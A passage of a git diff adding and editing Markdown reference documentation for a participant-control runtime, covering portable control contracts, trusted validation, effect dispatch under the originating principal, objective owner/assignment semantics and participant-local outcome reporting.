do not become independent observations or rewrite + authored constraints. The test supplies the private route in the actual + selected input and checks that the report omits it. +- Explicit no-experimental-data demand invokes no experimental producer. + Independently selected exhaustive action demand invokes the finite producer, + retains only when requested, and does not export by implication. Exact + scenario constraints never create collection demand. + +The test composes the existing #1201 `choose`, `report_choice` and `capture` +oracles; it does not add a second description or evidence engine. The larger +#1201 two-computer/three-action, Linux/Kali and independent-demand acceptance +cases remain in +[partial-description verification](../../research/partial-description/verification.md). +Production preparation and observation admission retain their own negotiated +contracts and capability limits, including refusal of unsupported capture or +export. These model cases do not claim those limits have been lifted. + +## Counterexamples and bounded outcomes + +| Mutation | Oracle outcome | Preserved boundary | +| --- | --- | --- | +| Remove any edge pin or change its revision/digest | `edge-binding` | No identity or reference existence shortcut | +| Remove the required edge, reverse it, or swap endpoint clocks | `exchange-edge` or `clock-mapping` | Direction and time domains are explicit | +| Assign the overlapping participant/action scopes to different providers | `competing-providers` | Cross-kind scope coverage, not address spelling | +| Remove a required allocation or one provider's support/evidence | `incomplete-allocation`, `unsupported-effect` or `support-evidence` | Another provider's capability does not fill the gap | +| List another form without allocating any effect to it | `mixed-forms` | Membership alone does not realize a mixed composition | +| Add a late component or choose an inactive fallback | `unadmitted-member` or `inactive-provider` | Sealed possible membership differs from active authority | +| Change any expected controller, authority, policy, capability, state or history coordinate | `stale` | Recent timestamps cannot renew the old cut | +| Keep one controller identity but revoke its authority | `inactive-authority` | Identity is not permission | +| Emit secret membership alongside permitted status | `projection-widened` | Metadata is included before output; payload filtering alone is insufficient | +| Borrow another policy or authority with otherwise matching state | `policy-binding` or `authority-binding` | Reference resolution and actual cut binding are distinct | +| Omit the policy decision or use another revision/cut, even with no output | `policy-binding` | Empty projection is not exchange authorization | +| Supply incomparable events or cyclic order | `unresolved-order` or `invalid-order` | No timestamp or arrival-order tie-break | +| Declare coarsened timing without admitted loss | `unadmitted-loss` | Explicit weaker claims cannot satisfy stronger required comparisons | +| Fail commit | `commit-failed`, identical state | No symbolic effect or invented durable failure history | +| Commit an attempt with failed/unknown result | attempt recorded, knowledge unchanged | Commit/attempt is not delivery | +| Advance with outstanding work or an unknown trigger | `in-flight` or `unadmitted-trigger` | No hidden drain, cancellation or phase selection | +| Exceed the finite graph/order budget | `work-limit` | Whole refusal, never truncated admission | + +All eight combinations of control-loop, world-assumption and membership axes +are independently admitted when otherwise valid. Closed-loop still needs +action admission. Bounded-open-world does not supply an unknown mapping, and +neither axis determines materialization delegation or observation demand. +Permutation tests check that allocation enumeration is not a scheduling input. + +## Clause and assurance matrix + +Every row is a definition in the normative specification. Executable evidence +below is finite falsification of the named relation, not full production +fulfillment of the corresponding invariant family. + +| Clauses / owner | Definition and executable evidence | Limits | +| --- | --- | --- | +| SEM-234(1–2), MCB-001–009 | `admit`; alternative/mixed, all five scope kinds, support, overlap and permutation tests | Trusted compiled scopes/effective support; no trial compiler change | +| SEM-234(3), MCB-010–012 | Edge pin, endpoint, exchange and clock checks; mutation tests for every pin kind | Flat resolved graph only; no nested-profile resolver or artifact-content verification | +| SEM-234(4), MCB-013–022 | Exact cut, policy/authority joins, existing SEM-230 projection; metadata, revocation and single-controller tests | No provider handshake, new RUN-310 protocol or noninterference proof | +| SEM-234(5), MCB-027–034 | `advance` and `link_trials`; changed provider, immutable identity, stale/pending/commit and history tests | Synthetic result and trigger facts; no cleanup or derived-model realization | +| SEM-234(6), MCB-035–037 | Cartesian axis cases and open-loop actuation refusal | Not description closure or a backend/product catalog | +| SEM-234(7–8), API-407, MCB-023–026, 038–041 | Directed partial-order closure, fresh cuts, explicit loss, refusal and commit tests plus `test_issue_1016_mixed_runtime_coordination.py` and `test_issue_1355_mixed_mapping_time.py` | Trusted installed bridge and time services are required; the stub witnesses are not deployed backend conformance or a physical clock guarantee | +| MCB-042–045 / ASR-537 | Demonstration and separate-claim definitions; source/nonclaim policy checks | No executed apparatus demonstration, universal transfer, proof or backend conformance result | +| SEM-230 | Existing `project_history`/crossing decisions plus `test_sem_230_information_flow_control.py` | Retains admission, output projection, release, transformation, hidden/visible labels, policy change and quantified claim boundary | +| SCE-002 | `test_sce_002_trial_compiler.py` and immutable phase-plan tests | Incumbent composition/parameterization/randomization are reused; mixed compilation is not claimed | +| API-423 | `test_api_423_participant_crossing_contracts.py` plus edge policy/authority tests | Preserves typed ingress/egress, transformations, disclosure, intervention/inject stage lineage and out-of-line evidence; no generic transport | +| RUN-310 | `test_run_310_supervisory_lifecycle.py`, `test_api_409_participant_control_occurrences.py`, `test_issue_1003_final_sink_flow_enforcement.py` and `test_issue_1016_mixed_runtime_coordination.py` | Incumbent lifecycle plus bounded admitted mixed-runtime phase handoff; no multi-controller consensus or leases | +| #1198 clarification | Existing description/lifecycle oracles composed by the new test | No mandatory internal recipe, universal capability or implied collection claim | + +## Lineage and nonclaims + +Reuse the [edition-pinned #813 source assessment](../../research/cross-backend-participant-control/prior-art-and-design-criteria.md) +and [lineage mapping](../sdl/lineage.md#mixed-simulation-emulation-and-operational-composition). +HLA contributes ownership/time-service precedents; NIST/co-simulation work +contributes explicit coupling and bridge boundaries; cyber-range work motivates +separating transfer evidence from equivalence. ADR-105 supplies the correction +for recursive constraints, supported witnesses and independent observation +demand. No new source-derived API, product vocabulary or compatibility is adopted. + +The repository lineage, behavioral-claim, semantic-coverage and assurance +gates check publication consistency. The #813 structural test still checks the +historical design program. The reference coordinator establishes only its +tested fail-closed control-plane boundary; neither these gates nor the finite +oracle establishes backend conformance, interoperability, leases, simultaneous +scoped/joint control, IFC/noninterference, equivalence or universal transfer. +SEM-234's definition can be ACTIVE while ASR-537's demonstration stays DRAFT. diff --git a/docs/explain/reference/modular-participant-control-contracts.md b/docs/explain/reference/modular-participant-control-contracts.md new file mode 100644 index 000000000..ed67ab608 --- /dev/null +++ b/docs/explain/reference/modular-participant-control-contracts.md @@ -0,0 +1,361 @@ +# Modular participant-control contracts + +API-424 publishes portable records and a structural provider protocol for +[sem-235/rev1](../../../specs/formal/participant-semantics/modular-participant-control.md). +The architectural authority is ADR-108 at +`ebb70a34b8e7d1cc8964c443841ae57e12ed1014`; the semantic publication is #1070, +merged at `65ca8e41`. These contracts implement neither provider installation +nor effect dispatch. RUN-320 remains the orchestration owner. + +## Applicability and dependency amendment (#1352) + +[ADR-111](../../decisions/adrs/adr-111-control-applicability-and-effect-decisions.md) +and [CA-01–CA-09](../../../specs/formal/participant-semantics/control-applicability-and-evaluation.md) +define revised coverage, predecessor-input, state and parent/effect meaning. +The v1 runtime boundary documented below does not implement that amendment. In +particular, its whole-selection applicability check cannot express disjoint +sink subsets of one apparatus; profile presence alone does not prove required +slot coverage; provider/v1 carries no fresh predecessor results; optional +failures can block composition; and phase handling can mark a subsequent +parent-targeted denial eligible. The existing verification map is bounded +legacy evidence, not proof that those gaps are repaired in the runtime. + +The amendment keeps the full admitted apparatus, records coverage at each cut, +evaluates typed slot/stage dependencies, isolates genuinely optional failure, +and separates unscheduled parent decisions from independently authorized +effects. Its [worked cases](../../research/control-applicability/cases.md) and +[migration contract](../../migration/control-applicability-and-evaluation.md) +define the required interpretation and adoption checks. Existing v1 schemas, +provider/v1 and retained history keep their original meaning. Issue #1365 +publishes a separate v2 representation; see below. + +## IFC variability amendment (#1354) + +[ADR-114](../../decisions/adrs/adr-114-ifc-profile-variability-and-publication.md) +and [IFC-01–IFC-07](../../../specs/formal/participant-semantics/ifc-profile-variability.md) +define authored/profile/backend separation, per-obligation owner release and +requirement-relative support. The exact present support table identifies the +fixed security vocabulary, closed modular profile/fact union and current +non-exact-support rejection. This amendment registers no profile and changes +none of those consumers. Follow the +[migration contract](../../migration/ifc-profile-variability.md) before claiming +owner-aware interpretation or revised bounded-support adoption. + +## Published boundaries + +| Contract | Meaning | +| --- | --- | +| `participant-control-selection-v1` | Exact apparatus/profile/mechanism bindings, typed slots, applicability, acyclic dependencies and finite bounds | +| `participant-control-evaluation-v1` | Immutable admitted context, all typed contributions, declared/effective support, composition and separate realization receipts | +| `participant-control-teaching-profile-v1` | Closed wire projection of teaching-influence/rev1; two tokens, union propagation, retained memory and no release | +| `participant-control-selection-v2` | Complete admitted apparatus and profile obligations with per-slot support pins under `participant-control-applicability/rev1` | +| `participant-control-evaluation-v2` | Exact-cut coverage and applicable subset, slot/stage predecessor and state inputs, required support, unscheduled parent decisions, typed effect prerequisites and expected-head commit boundary | + +The normative schemas are in `contracts/schemas/participant-runtime/`, with +per-contract publication records, fixtures and identical `schema_bundle()` +output. Installed distributions include all five schemas, including the teaching +profile, in the `raes_contracts` corpus. This is a participant-control profile, +not an SDL extension, interoperability profile or backend-allocation profile. + +`ParticipantControlProvider` lives in `raes_backend_protocols.protocols`. +Its `resolve(request)` returns a tuple of typed results and performs no world +effects. The operator constructs the provider; scenario content cannot name +imports, executables or configuration expressions. The protocol deliberately +does not support runtime method-presence checks as evidence of capability. +All nested request/result values are frozen, with detached immutable tuples. +Proposed provider-state references are speculative, not committed state. + +`ParticipantControlProviderV2.resolve_stage(invocation)` is separately +negotiated. Each invocation names one finite slot or stage, a content-bound +typed predecessor set, an exact context digest, admitted state scope/version +and disclosure projection. `ControlMechanismResultV2Model` binds the complete +invocation digest. The provider receives no portable credential, executable +selector, private state body or whole-apparatus authority through that DTO. +An operator backend resolves the bounded references under its installed +binding; a structural protocol match never establishes support. + +For v2, `ParticipantControlEvaluationV2Model` validates structural closure and +`validate_participant_control_resolved_context_v2` requires independently +supplied `ParticipantControlValidationContextV2`. Its resolver pins admitted +coverage, installed bindings, exact results, effective API-407 support, +safe-to-disclose references and authorized effects. Conformance reports +`structural-context-required` without that resolver. The v2 composition and +effect-plan models distinguish eligible evaluation from committed intent and +owner realization; a prepared or rejected commit dispatches nothing. +The resolver also binds each state proposal and its commit timing to an +independent state-write authorization. For every realized effect it requires a +retained full-payload claim, a prior committed and dispatchable evaluation at +the originating cut, effect authority for that cut, and the applied owner +receipt. Its origin plan proves the phase, parent and predecessor conditions. +Lifecycle operations must follow overlapping live-target effects. Published +fixtures show disjoint sinks, A → B → A, optional failure, missing coverage and +denial with an independent audit. Their bounded structural evidence does not +claim RUN-320 adoption or backend realization. The +[migration contract](../../migration/control-applicability-and-evaluation.md) +specifies exact reader/protocol negotiation and retained-history treatment. + +## Validation and authority + +```python +from raes_contracts.contracts import ( + parse_participant_control_evaluation, + validate_participant_control_resolved_context, +) + +def validate_received_record(encoded, trusted_resolver): + record = parse_participant_control_evaluation(encoded) + validate_participant_control_resolved_context(record, trusted_resolver) + return record # Validated record, not permission to execute an effect. +``` + +Ingress rejects duplicate members, non-finite numbers, excessive bytes/depth, +unknown fields, domain/revision mismatches and mistyped results. Public parser +and resolver failures contain no rejected values. Direct Pydantic exceptions +are internal diagnostics and must not be returned to a participant. + +The trusted resolver returns `ParticipantControlValidationContext` from +independently admitted operator state, never from indexes supplied by the +provider. It establishes the exact request, safe-to-disclose artifacts, +installed bindings, effective support, resolved results, effect authorizations, +incumbent gate evidence and owner receipts. Evidence hashes alone prove none +of these facts. API-409/API-423 occurrence validators and SEM-233 relation +validation retain their existing ownership; inject requests additionally join +the existing `ParticipantInjectDelivery` artifact and its visibility basis. +Other effect authorizations must be resolved by their incumbent owners before +entering `authorized_effects`; that map binds the full intent digest to K. + +For independently resolved backend manifests, the support callback calls +`raes_backend_protocols.participant_control_admission.resolve_participant_control_support`. +This checks the manifest content and reuses API-407's evidence/strength resolver. +The governed `participant_modular_control` feature requires both selection and +evaluation contracts. It does not advertise support in any backend. Declaration, +installation, effective support and observed realization remain separate. +Non-exact support remains explicitly weakened/blocked in revision 1; an +authority reference never upgrades its strength or removes another obligation. + +Conformance reports evaluation validation as `structural-context-required`. +Without `control_context_resolver`, `validate_contract_payload` returns +`conformance.semantic-context-required`; schema validation is not a trusted +semantic verdict. Selection and teaching-profile checks make structural claims. +Selection/evaluation records occupy the processor/backend operational plane, +not participant-visible history. Every participant disclosure still needs +the incumbent projection, authority, audience and final-sink checks. + +## Identity and composition + +K includes the entire admitted run/apparatus, participant/episode, subject, +crossing/direction, sink/audience/destination, controller/authority, policy, +state cut, expected heads, inputs/provider states, memory, clock/order/phase, +trigger/predecessors and causal counters. No missing coordinate is a wildcard. +Changing a selection requires a new admitted request/cut; historical records +are immutable. Trusted state authenticates any selection transition. + +New-record digests use RFC 8785 JCS plus SHA-256 over the complete JSON model, +including explicit null/default fields. Arrays retain wire order. Contributor +ids are ordered by `(instance_id, slot_id)`; blockers and teaching tokens are +sorted and duplicate-free. The teaching-profile digest covers its full closed +artifact. The incumbent SEM-233 profile keeps its existing digest convention. +Crossing artifact digests cover the original wire projection without adding +unset optional fields; inject-delivery and manifest digests cover their full +normalized model. A digest is neither a credential nor execution identity. + +Every selected slot has a result or explicit absence record. Mandatory facts +must resolve; mandatory decisions must permit, and transitive dependencies +must be satisfied. Advisory negatives do not implicitly veto. Every contributor +is retained even on conflict, failure or unsupported support. Empty optional +selection preserves incumbent gates. Unordered interacting effects conflict; +different strings do not establish independence. Delay windows use one clock +and intersect; incompatible transformations/routes/handoffs/lifecycle requests +conflict without an arrival-order winner. + +Ordering never substitutes for target compatibility. A pause, interruption, +cancellation or shutdown cannot precede an inject, handoff, permit, delay or +transformation whose affected target must remain live. Participant, episode and +run scopes are compared by their typed coordinates. Workflow/execution +membership is not expressed in these targets, so it conservatively overlaps +until the owning authority can express a compatible contract. The reverse +order (operation while live, then shutdown) is distinct. Audit/review/denial +records do not themselves require live targets. + +Requested effects use closed MPC-09 alternatives. Review binds its withheld +parent, obligation, supervisory authority, approval/denial and expiry/resumption; +delay binds a clock/window; lifecycle binds scope, operation and authority. +Transformation and inject results retain fresh identity. Required predecessors +withhold the parent until a fresh evaluation; subsequent effects have separate +outcomes. The logical key is `(run, trigger root, rule id/revision, slot, firing +epoch)`, excluding retry/cut/transport identity. Per-rule firing history and +per-root budgets travel with K and must come from trusted retained state. +Conflicting logical content remains recordable, never selected by ordering. + +K also carries bounded `prior_effect_claims`: the retained key, allocated +effect id and full canonical intent digest for each replay-relevant claim. +They must match the admitted run/root and retained firing epochs; the total +consumption counter includes them and may also include other historical claims. +Only previously unclaimed keys consume new effects, fan-out or depth budget. +An unchanged replay at an exhausted budget remains recordable, not permission +to dispatch again. Same key with changed content is a conflict, including when +there is no remaining budget. Duplicate identities preserve every phase +blocker and every dependency edge; no first-arriving variant wins. + +Owner receipts distinguish applied, failed, indeterminate, unsupported and +withheld. Validation does not prove atomic commit, crash recovery, exactly-once +execution, current dispatch freshness, provider protection, learning outcomes, +backend equivalence or noninterference. + +## Runtime orchestration (RUN-320) + +The reference runtime consumes these contracts; it does not extend them. +`RuntimeControlPlane(participant_control=...)` binds one admitted +`ParticipantControlSelectionModel` to exact operator-created provider +instances and one trusted resolver +(`raes_runtime.participant_control_binding`). Provider objects are passed in +already constructed: no scenario field, import path, URL, environment value or +method probe selects executable code, and the binding is refused unless the +backend declares `participant_modular_control` support. + +At each governed sink — action ingress, control ingress and egress +serialization — the runtime resolves the admitted request for that exact cut, +checks it against the live crossing (participant, episode, direction, +audience, controller, the occurrence's own subject, the committed crossing +record's event identity and digest, policy revision and every expected history +head), then invokes each selected provider +once through `ParticipantControlProvider.resolve` behind the mutation +authority's re-entry fence. Returned models are rebuilt from their portable +projection. A provider exception, malformed return or absent slot becomes an +explicit `failed`/`missing` result: a contributor is never dropped and a +failure never permits. What a composition *admits* is decided once, by API-424, +so a rejected proposal — from a conflict, stale cut, unsupported or weakened +mechanism, or denial — is never promoted into a retained claim or a receipt +binding by one index while another refuses it. + +Composition uses the contract owner's own +`derive_control_composition`, so the runtime reproduces no blocker, conflict +or disposition rule. The validated evaluation joins the crossing's atomic +commit as an append-only `participant_control_evaluation_history` record +before any backend call or participant disclosure; a non-eligible composition +commits its refusal instead, with bounded `control_evaluation_id`, +`control_selection_id` and `control_disposition` audit references. + +The admitted context must also carry what its causal root already consumed. +The runtime folds the committed history for that run and trigger root and +refuses a context that declares fewer retained claims, firing epochs, consumed +effects or resolution attempts than the history proves — consumed effects as a +watermark of what committed contexts declared and newly admitted, not merely a +count of retained claims — so one root cannot +re-spend an exhausted budget, re-admit a claimed key at a later cut, or be +re-resolved without limit by declaring a fresh attempt each time. An +evaluation spends an attempt whether or not it resolves an effect. + +Admitted effects are dispatched separately by +`dispatch_participant_control_effects`, after the parent committed. An +eligible composition dispatches its subsequent effects; a composition blocked +only by required predecessors dispatches exactly those, leaving the parent +withheld until it is reevaluated at a fresh cut. Within a phase the declared +`predecessor_effect_ids` graph is the execution order — record order is +serialization — and a dependent whose predecessor did not apply is withheld +rather than run. Each effect is a new operation through the incumbent owner of +its closed target kind: an inject through the governed participant-directed +delivery crossing, a handoff through the RUN-310 controller transition. The +owner input must be the effect the request names, not merely one in the same +scope — the inject's result identity, cut and disclosure, and the handoff's +declaration, expected state revision and completion obligation are all bound +before submission. The owner's crossing evidence, which names the audience its +crossing is decided for, is part of that resolver-supplied input and is bound +to the admitted cut's audience; the caller that requests a drain supplies +nothing the owner sees. An owner the resolver cannot supply, or one whose input +does not bind, is reported `unsupported` with zero dispatch. + +Splitting dispatch from the commit does not change whose effect it is. An +effect acts for the principal of the operation that admitted it — the record +whose committed transition appended the evaluation, which the ADR-104 store +already names as that transition's result history head. The drain caller is +authorized before any committed state is read, exactly as every incumbent +participant mutation is — an authenticated principal with a mutating role, +bound to the target and the participant — and may request execution without +becoming the principal: each effect is submitted to its owner as the originating principal, +restricted to its bindings for this participant, so a principal can never +cause an effect it could not perform itself, and an owner's refusal is a fixed +property of that origin rather than of whoever drains. The principal's scopes +are those recorded when its operation was admitted: the runtime holds no +principal registry to re-resolve them, so revoking a principal afterwards does +not withdraw an effect it already caused — the owner's own policy admission at +the current cut is the check that still applies. + +Before any owner is invoked, the effect is claimed durably under a context that +retains the originating actor, authorization scope, target and run and names +that operation as parent. The claim is keyed by the logical effect key `(run, +trigger root, rule id/revision, slot, firing epoch)` under the origin's actor, +so every drain resolves the same claim and none can execute an effect twice — +PC-11 allocates identity once per key, so a later evaluation that re-requests +a key reports the first outcome and never claims it under another origin — and +the store's replay validation binds it to the effect's content, so an +unrelated record under that key is refused rather than read. The whole drain — +scan, claims, submissions and records — runs under one held mutation. An +outcome is read from the owner operation the claim submitted, resolved inside +the owner's own claim scope so another actor's record under the derived key +never answers: an accepted receipt is admission, not application, so a refused +owner operation is `failed`. With no owner record, only the owner's own refusal +of the request is an outcome of the effect; any other error propagates and +leaves the claim open. Both owners claim write-ahead, so an open claim with no +owner record is PC-11's durable proof that dispatch never began, and a later +drain resumes it; anything that may have begun is never repeated. A known outcome is recorded in the same atomic commit that closes the +claim, as a content-identified realization transition that never rewrites the +committed evaluation. An uncertain outcome is not recorded: its claim stays +open, startup recovery classifies it through the incumbent lifecycle, a later +drain reads the owner record rather than repeating the action, and an +uncertain prerequisite authorizes no dependent. A claim recovery has already +terminalized is immutable, so once its owner's record proves the outcome it is +appended under a record linked to that claim — which the store admits only +after an operator has resolved the claim through the incumbent recovery +lifecycle, so a drain never reports an outcome as recorded while that barrier +stands. A withhold and an unsupported +owner are likewise recomputed on each drain rather than recorded, so nothing +that depends on the drain caller is ever persisted as an outcome. The history +itself is runtime-owned: a backend result may carry it forward but never add, +drop or edit a record, and the local store's schema 6 records the carrier +explicitly, so a build that predates it refuses the store instead of rewriting +it without its retained claims. + +The legacy SEM-233 final-sink path is retained but explicitly negotiated: +`enforce_final_sink_flow_control` selects that adapter once at construction +instead of discovering a resolver method per sink. + +## Verification map + +All paths are repository-relative. These are bounded contract witnesses, +not runtime-delivery claims. + +- [x] API-424: closed, versioned portable selection and public provider protocol → `implementations/python/packages/raes_backend_protocols/protocols.py:33`. +- [x] API-424: exact profile, mechanism, implementation, configuration, authority and evidence → `implementations/python/packages/raes_contracts/contracts/participant_control_selection.py:35`. +- [x] API-424: exact apparatus, participant, crossing, policy/cut, history, provider state and causality → `implementations/python/packages/raes_contracts/contracts/participant_control_coordinates.py:170`. +- [x] API-424: typed results, all contributors and explicit resolution/composition/realization dispositions → `implementations/python/packages/raes_contracts/contracts/participant_control_results.py:81`. +- [x] API-424: reuse incumbent carriers, distinguish declaration/installation/effects → `implementations/python/packages/raes_contracts/contracts/participant_control_resolution.py:192`. +- [x] API-407: unambiguous participant feature support distinct from general realization → `implementations/python/packages/raes_backend_protocols/participant_control_admission.py:12`. +- [x] API-409: external proposal, approval/denial, direction, intervention, handoff, override and cancellation retain incumbent controller/order/policy/provenance/disposition → `implementations/python/packages/raes_contracts/contracts/participant_control_validation.py:27`. +- [x] API-423: plain-data ingress/egress, transformation, disclosure, intervention and inject with bounded provenance, without duplicate transport → `implementations/python/packages/raes_contracts/contracts/participant_control_resolution.py:81`. +- [x] SEM-235: revisioned composition, closed domains, joins, source/propagation/memory/release and world-boundary semantics retain their existing publication → `specs/formal/participant-semantics/modular-participant-control.md:16`. +- [x] SEM-235: finite selections, mandatory/advisory roles, acyclic dependencies and absence/failure behavior → `implementations/python/packages/raes_contracts/contracts/participant_control_composition.py:40`. +- [x] SEM-235: typed effects, fresh identity, exact causal scope and finite budgets → `implementations/python/packages/raes_contracts/contracts/participant_control_effect_composition.py:120`. +- [x] SEM-235: SEM-233 historical meaning retained through its owning validator → `implementations/python/tests/test_api_424_security_profile.py:92`. +- [x] issue: closed schemas, matching publication and valid/invalid portable fixtures → `implementations/python/tests/test_api_424_publication.py:13`. +- [x] issue: independently installed backend consumer imports/resources → `implementations/python/tests/test_corpus_packaging.py:306`. +- [x] issue: no open taint/label/policy/effect/plugin/context/metadata authority or executable selector/private payload → `implementations/python/tests/test_api_424_participant_control_contracts.py:25`. +- [x] issue: method presence, importability or manifest term do not prove installed support → `implementations/python/tests/test_api_424_capability_admission.py:57`. +- [x] issue: multiple mechanisms, IFC-triggered inject and conflict without arrival-order winner → `implementations/python/tests/test_api_424_control_effects.py:118`. +- [x] issue: downgrade remains disclosed and non-eligible → `implementations/python/tests/test_api_424_composition_boundaries.py:67`. +- [x] issue: stale cuts and dishonest capability contextual fixtures → `implementations/python/tests/test_api_424_publication.py:75`. +- [x] issue: finite JSON ingress, including exponent-overflow rejection → `implementations/python/packages/raes_contracts/json_ingress.py:39`. +- [x] RUN-320: admitted selection bound to exact operator-created providers, never discovered code → `implementations/python/packages/raes_runtime/participant_control_binding.py:59`. +- [x] RUN-320: exact-cut resolution, protocol invocation, composition and commit before any effect → `implementations/python/packages/raes_runtime/participant_control_orchestration.py:76`. +- [x] RUN-320: append-only evaluation history in the ADR-104 store, across both supported stores → `implementations/python/packages/raes_contracts/participant_control_evaluation_history.py:17`. +- [x] RUN-320: schema 6 records the evaluation carrier; an older build refuses the store → `implementations/python/packages/raes_runtime/control_plane_store_record_migration.py:164`. +- [x] RUN-320: governed effect dispatch through incumbent owners, idempotent on the logical key → `implementations/python/packages/raes_runtime/participant_control_effects.py:195`. +- [x] RUN-320: the owner input is bound to the complete typed target before submission → `implementations/python/packages/raes_runtime/participant_control_effects.py:359`. +- [x] RUN-320: durable per-root attempt consumption, not a per-request bound → `implementations/python/packages/raes_runtime/participant_control_causal_state.py:56`. +- [x] RUN-320: the drain caller is authorized before any committed state is read → `implementations/python/packages/raes_runtime/participant_control_receipts.py:85`. +- [x] RUN-320: an effect acts for, and is claimed under, the operation that admitted it → `implementations/python/packages/raes_runtime/participant_control_receipts.py:199`. +- [x] RUN-320: the effect is submitted to its owner as the originating principal → `implementations/python/packages/raes_runtime/participant_control_receipts.py:140`. +- [x] RUN-320: one held mutation spans the drain's scan, claims, submissions and records → `implementations/python/packages/raes_runtime/participant_control_effects.py:92`. +- [x] RUN-320: a known outcome closes its claim and appends its realization in one commit → `implementations/python/packages/raes_runtime/participant_control_records.py:52`. +- [x] SEM-235: one definition of what a composition admits serves every consumer → `implementations/python/packages/raes_contracts/contracts/participant_control_composition.py:363`. +- [x] RUN-320: the implicit SEM-233 resolver hook is replaced by an explicitly selected adapter → `implementations/python/packages/raes_runtime/control_plane_composition.py:38`. diff --git a/docs/explain/reference/objective-semantics.md b/docs/explain/reference/objective-semantics.md index c52cbac78..b33558737 100644 --- a/docs/explain/reference/objective-semantics.md +++ b/docs/explain/reference/objective-semantics.md @@ -9,9 +9,11 @@ this note is the working summary. A declarative *objective* binds, in one place: -- an **actor** — exactly one of an authored `agent` or an authored `entity` — - that owns the objective. An agent objective may name `actions`, which must be - declared by that agent; +- an organizational **owner** and/or an **assigned participant**, using `owner` + (entity) and `assigned_participant` (agent). These are independent relations, + not realized actor attribution or beneficiary identity. Every `actions` entry + must name a declared action contract; when assigned, it must also be available + to that participant; - zero or more **targets**, resolved through the targetable named-reference index (bare or section-qualified; objectives, workflows, and variables are not targetable); @@ -40,11 +42,11 @@ targetable named-reference index (and an optional `is_unresolved` predicate so `${var}` placeholders are skipped and re-checked after instantiation), it returns an `ObjectiveSemanticAnalysis`: -- `references` — normalized `ObjectiveReference` edges (actor, target, success, +- `references` — normalized `ObjectiveReference` edges (owner, assignment, action constraint, target, success, window, dependency), each carrying its `dependency_roles` and a `namespace_path` slot used by module/import expansion; - `issues` — machine-readable consistency problems, per objective in the order - actor, action, target, success, window, dependency, then a single global + assignment, owner, action, target, success, window, dependency, then a single global `objective.dependency-cycle` issue when the `depends_on` graph cycles. Callers translate the codes into their own envelope (the validator renders them as authoring-error strings via `_OBJECTIVE_ISSUE_RENDERERS`; the compiler emits @@ -64,7 +66,7 @@ name-level reference graph that is meaningful before binding resolution. Success references and `depends_on` edges carry **both** roles — the objective is evaluated *after* its inputs (ordering) and re-evaluated *when* an input changes (refresh). Window edges carry **only** refresh; they impose no -execution-order constraint. Actor and target references are normalized for +execution-order constraint. Owner, assignment, action-constraint, and target references are normalized for fail-closed validation and propagated through the analyzer's IR, but they carry an **empty** role tuple today: the compiler does not compile actor or target identity into runtime ordering or refresh dependencies, and advertising a role @@ -75,7 +77,8 @@ in lockstep. That single fact lives in `partition_objective_dependencies` plus the `OBJECTIVE_SUCCESS_DEPENDENCY_ROLES` / `OBJECTIVE_DEPENDENCY_DEPENDENCY_ROLES` / -`OBJECTIVE_ACTOR_DEPENDENCY_ROLES` / `OBJECTIVE_TARGET_DEPENDENCY_ROLES` / +`OBJECTIVE_OWNER_DEPENDENCY_ROLES` / `OBJECTIVE_ASSIGNMENT_DEPENDENCY_ROLES` / +`OBJECTIVE_ACTION_CONSTRAINT_DEPENDENCY_ROLES` / `OBJECTIVE_TARGET_DEPENDENCY_ROLES` / `OBJECTIVE_WINDOW_DEPENDENCY_ROLES` constants — each category is gated by its own constant so a role change to one category lands in exactly one place. The validator, the compiler's `ObjectiveRuntime` ordering/refresh diff --git a/docs/explain/reference/participant-decision-surface-v2-migration.md b/docs/explain/reference/participant-decision-surface-v2-migration.md index 391c992cf..d6930ea6a 100644 --- a/docs/explain/reference/participant-decision-surface-v2-migration.md +++ b/docs/explain/reference/participant-decision-surface-v2-migration.md @@ -40,7 +40,10 @@ For each participant choice: 9. Accept a selection only when it binds surface id, decision epoch, canonical participant-view digest, and delivery ref. 10. At admission, re-resolve the derivation anchor, delivery record, apparatus, - and existing participant-action constraints before writing behavior. + and existing participant-action constraints before writing behavior. Pass + the authenticated caller identity and, for governed ingress, the caller's + crossing evidence to the v2 admission method. The selection and delivery + record do not supply either authority or ingress evidence. The reference entry points are: diff --git a/docs/explain/reference/participant-local-outcomes.md b/docs/explain/reference/participant-local-outcomes.md new file mode 100644 index 000000000..434abd37b --- /dev/null +++ b/docs/explain/reference/participant-local-outcomes.md @@ -0,0 +1,48 @@ +# Participant-local outcome reporting + +Local outcomes describe declared participant tasks/effects independently of an +objective, evaluator or reward producer. Action success alone does not establish +attainment: declared effect criteria need recorded evidence. + +Declare `local_outcome` on a SEM-215 rule with `semantic_version: 2.0.0` and local +`model_version: 1.0.0`. Select `task_completion` or `effect_realization`, explain +the criterion basis, and bind each criterion to a declared action source/effect. +The policies are `retain_until_explicit_correction`, `exact_observation_cut` and +`reset_without_transfer`. These opted-in rules support empty downstream targets. + +Bind the rule through a behavior specification’s +`outcome_interpretation_rule_refs`, selecting the participant with +`participant_refs` or its entity role with `participant_role_refs`. Sharing an +action contract alone does not authorize a rule. + +Supply the compiled model as +`RuntimeControlPlane(..., participant_outcome_model=model)`. Submit a typed +`ParticipantOutcomeUpdateRequest` through `record_participant_outcome`, with an +authenticated operator identity bound to the target and participant. Requests +name participant, episode, outcome, report event and rule, plus expected outcome +and snapshot revisions. The runtime computes attainment from recorded history. +Supply a `ControlPlaneStore` and read its existing `load_snapshot_state()` result +to obtain the snapshot and its revision together. + +The receipt identifies the durable operation/audit. Exact retries are idempotent; +changed reuse of an event ID fails. After a revision conflict, refresh the cut +and use a new event identity. Corrections append a report with explicit excluded +observation references and a correction basis; retain prior exclusions. + +`current_participant_outcome(snapshot, participant_address, outcome_id)` returns +the current episode's report and `current`, `stale` or `absent`. Partial attainment +can coexist with unknown knowledge. Contradictory evidence does not resolve by +arrival order. Reset selects no previous-episode report and retains history. + +These are embedded operator surfaces. Participant retrieval views do not +automatically expose outcome criteria, references or knowledge. The generic +HTTP snapshot response also omits private outcome history. No new HTTP +route is introduced, and evidence references grant no evidence access. + +For historical reports, use `decode_participant_outcome_report` in +`raes_contracts.contracts.participant_outcomes`. Unsupported versions fail. +Existing v1 reports retain their original meaning; adoption requires a new v2 +report from grounded history while preserving the original artifact. + +The [normative semantics](../../../specs/formal/participant-semantics/local-outcomes.md) +define category, evidence, transition, freshness and compatibility rules. diff --git a/docs/explain/reference/published-schema-coverage.md b/docs/explain/reference/published-schema-coverage.md new file mode 100644 index 000000000..18afef337 --- /dev/null +++ b/docs/explain/reference/published-schema-coverage.md @@ -0,0 +1,176 @@ +# Published-Schema Coverage + +Every schema under 